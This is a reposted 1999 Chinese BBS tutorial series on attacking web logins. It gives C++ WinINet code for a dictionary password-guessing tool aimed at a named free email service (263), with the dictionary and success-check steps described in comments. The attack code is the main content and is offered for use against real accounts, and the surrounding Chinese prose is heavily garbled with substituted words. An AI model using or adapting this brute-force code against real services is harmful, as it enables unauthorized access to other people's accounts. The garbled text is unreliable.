快捷搜索:

WWW攻击手法

这儿的WWW进击只限一样平常站点的进击

对付采纳安然连接的站点还没有试过

一个很好的实践的目标便是各类支持WWW的免费邮件

假如你想用它来进入黄色站点

那也没法子 :)

一样平常的站点中

假如你想浏览某些必要授权的内容

首先要颠末身份验证这一步

便是让你输入用户名、密码

然后浏览器会根据HTML文件中FORM的定义

把这些信息发给办事器来验证

一样平常的法子是GET或POST

比如在263中

请看下面的263 HTML源代码

用户名: @263.net 口令:

假如点击"请进吧!",浏览器会向办事器发送一下哀求

POST /prog/login/?user=aaa@pass=bbb

既然知道了道理

那我们就可以模拟用户点击的历程

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe

标 题: WWW进击法(二)

发信站: 我爱南开站 (Wed Nov 3 08:45:57 1999), 转信

微软给我们供给了一套现成的API让我们可以应用HTTP协议而不需通读RFC文档

现在

我们就可以发动进攻了

请看源法度榜样

不想注水

我把该法度榜样中读字典的部分和判断进击是否成功的部分省掉落了

但都作了注释

const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";

//pServer是目标主机名

//cszPostData便是剩下的部分

//比如进击263的免费邮箱,那么

//pServer="freemail.263.net"

//cszPostData="/prog/login?user=tom&pass=@!#$"

//当然,你要先读字典文件,读取pass的值

void Attack(LPSTR pServer,LPSTR cszPostData)

{

// Open Internet session.

HINTERNET hSession = ::InternetOpen("URLHacker",

INTERNET_OPEN_TYPE_PRECONFIG,

NULL,

INTERNET_INVALID_PORT_NUMBER,

0) ;

// Connect to dest.

HINTERNET hConnect = ::InternetConnect(hSession,

pServer,

INTERNET_INVALID_PORT_NUMBER,

"",

"",

INTERNET_SERVICE_HTTP,

0,

0) ;

// Request the file from the server.

HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,

"GET",

cszPostData,

HTTP_VERSION,

NULL,

0,

INTERNET_FLAG_DONT_CACHE,

0) ;

// Add request headers

BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea

ders),HTTP_ADDREQ_FLAG_ADD);

// Send the request.

BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);

// Get the length of the file.

char szBuffer[80] ;

DWORD dwLen = sizeof(szBuffer);

DWORD dwIndex;

BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,

szBuffer, &dwLen, NULL);

DWORD dwRet;

if (bRet)

dwRet = (DWORD) atol(szBuffer);

if (dwRet == HTTP_STATUS_DENIED){

//这是别的一种验证的法子,和系统的用户名、口令结合起来

//InternetConnect中第3、4个参数便是用户名和口令

//下面怎么做不用我说了吧

}

if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))

bRet = TRUE;

else

{

// now that we know how long it is, ask for exactly that much

// space and really request the header from the API

LPTSTR pstr = new TCHAR[dwLen];

bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,

&dwIndex);

delete []pstr;

}

// were we redirected?

// these response status codes come from WININET.H

if (dwRet == HTTP_STATUS_MOVED ||

dwRet == HTTP_STATUS_REDIRECT ||

dwRet == HTTP_STATUS_REDIRECT_METHOD)

{

//被重定向到其它地址,必要从新连接到新的地址

}

// Convert length from ASCII string to a DWORD.

// Allocate a buffer for the file.

char* buffer = new char[dwLen+1] ;

// Read the file into the buffer.

DWORD dwBytesRead ;

BOOL bRead = ::InternetReadFile(hHttpFile,

buffer,

dwLen+1,

&dwBytesRead);

//可以在这儿根据读到的内容判断进击是否成功

//怎么?不会!

//试一下手工猜口令,肯定给你一个掉足的画面

//假如读到的内容中不包括那些差错信息,就又可能成功了

delete [] buffer;

::InternetCloseHandle(hHttpFile);

::InternetCloseHandle(hConnect) ;

::InternetCloseHandle(hSession) ;

}

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe

标 题: WWW进击法(三)—评释

发信站: 我爱南开站 (Wed Nov 3 08:58:58 1999), 转信

创建一个会话

HINTERNET hSession = ::InternetOpen(

"URLHacker",//Agent名,随便取

INTERNET_OPEN_TYPE_PRECONFIG,//应用定义的连接要领

NULL,

INTERNET_INVALID_PORT_NUMBER,

0) ;

连接到办事器

HINTERNET hConnect = ::InternetConnect(

hSession,

pServer,//办事器名

INTERNET_INVALID_PORT_NUMBER,

"",//用户名

"",//口令

INTERNET_SERVICE_HTTP,//HTTP

0,

0);

向办事器发出哀求

HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,

"GET",//可用GET或POST

cszPostData,//对应于HTTP敕令 GET cdzPostData

HTTP_VERSION,

NULL,

0,

INTERNET_FLAG_DONT_CACHE,

0);

加一个哀求头,自我炫耀一下,hehe

BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead

ers),HTTP_ADDREQ_FLAG_ADD);

接下来,查询该哀求返回的信息,然后读之

您可能还会对下面的文章感兴趣: